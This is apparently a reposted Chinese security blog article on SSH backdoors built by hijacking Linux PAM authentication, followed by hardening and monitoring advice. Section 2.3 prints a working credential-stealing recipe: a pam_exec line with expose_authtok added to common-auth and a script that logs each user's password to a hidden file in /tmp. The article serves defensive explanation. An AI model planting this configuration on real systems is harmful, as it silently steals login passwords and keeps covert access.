引言
在当今网络安全领域,SSH(Secure Shell)作为最重要的远程管理协议之一,其安全性直接关系到系统的整体防护水平。本文将深入探讨一种基于PAM认证劫持的SSH后门技术,剖析其工作原理,并提供全面的防护方案。
一、技术背景
1.1 SSH协议概述
SSH协议设计之初就以安全性为核心考量,主要提供:
-
加密的数据传输 -
身份认证机制 -
密钥管理功能 -
端口转发能力
1.2 PAM认证框架
PAM(Pluggable Authentication Modules)即可插拔式认证模块,它是一种高效而且灵活的用户级别的认证方式,它也是当前Linux服务器普遍使用的认证方式。PAM可以根据用户的网段、时间、用户名、密码等实现认证。并不是所有需要验证的服务都使用PAM来验证,如MySQL-Server,httpd就没有安装相应的PAM文件(因此我们可以说pam只对简单的应用有认证功能,对于应用机制比较复杂的需要其自己编写相应的认证机制代码啦)。当然,程序通过了PAM的验证之后,PAM程序还会持续跟踪验证后的对象,对其做相应的访问限制。PAM就很像人力资源部门,当你入职一下公司的时候是人力得认证你,等认证成功后你才可以入职,而入职之后并不是人力部门就不管理了,人力资源部门还是会持续监督你在公司从入职到离职的行为并做相应的操作。具有以下特点:
-
模块化设计 -
灵活的配置能力 -
统一的认证接口 -
可扩展的架构
二、技术原理深析
2.1 PAM配置体系
# PAM主要配置目录结构
/etc/pam.d/
├── common-auth # 通用认证配置
├── common-account # 账户管理
├── common-session # 会话管理
└── common-password # 密码策略
2.2 认证流程详解
-
初始化阶段 -
加载PAM配置 -
初始化认证模块 -
准备环境变量
-
-
认证过程
# 典型认证流程
应用程序 -> PAM接口 -> 认证模块 -> 验证结果
-
结果处理 -
成功/失败判断 -
日志记录 -
会话建立
-
2.3 后门实现机制
核心配置
# 在/etc/pam.d/common-auth中添加
auth optional pam_exec.so quiet expose_authtok /path/to/malicious.sh
# malicious.sh示例内容
#!/bin/bash
TIMESTAMP=$(date +"%Y-%m-%d %H:%M:%S")
read PASSWORD
echo"$TIMESTAMP - User: $PAM_USER, Password: $PASSWORD" >> /tmp/.log
参数说明
-
quiet:静默执行 -
expose_authtok:暴露认证令牌 -
optional:可选执行,不影响认证结果
三、攻击场景分析
3.1 潜在威胁
-
凭据窃取 -
管理员密码泄露 -
用户账号劫持 -
权限提升风险
-
-
持久化控制 -
系统后门维持 -
隐蔽数据外传 -
横向移动跳板
-
3.2 攻击特点
-
难以通过常规监控发现 -
与系统日志完美融合 -
可持续获取认证信息 -
对系统性能影响微小
四、防护方案
4.1 系统加固
配置文件保护
# 设置严格权限
chmod 644 /etc/pam.d/common-auth
chown root:root /etc/pam.d/common-auth
# 监控文件变更
inotifywait -m -e modify /etc/pam.d/common-auth
完整性校验
# 使用AIDE进行文件完整性检查
aide --check
aide --update
4.2 安全审计
日志监控
-
系统日志
# 监控PAM相关日志
tail -f /var/log/auth.log | grep "PAM"
-
文件变更记录
-
建立基线配置 -
定期对比差异 -
告警机制部署
行为分析
-
异常认证模式识别 -
可疑脚本执行监控 -
网络流量异常检测
4.3 最佳实践建议
-
管理员操作 -
实施双因素认证 -
定期更换密码 -
限制SSH访问来源
-
-
系统配置 -
禁用不必要的PAM模块 -
严格控制配置文件权限 -
建立配置变更审批流程
-
-
监控措施 -
部署HIDS系统 -
实时文件监控 -
建立安全基线
-
总结
PAM认证劫持技术虽然强大,但通过合理的安全措施可以有效防护。关键在于:
-
深入理解攻击原理 -
建立完善防护体系 -
持续监控与响应
对于企业安全建设,建议:
-
定期进行安全评估 -
建立完善的监控体系 -
制定应急响应预案 -
开展员工安全培训
原文始发于微信公众号(HW安全之路):为什么我说99%的SSH后门排查方案都是错的?原来黑客早就盯上了PAM
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论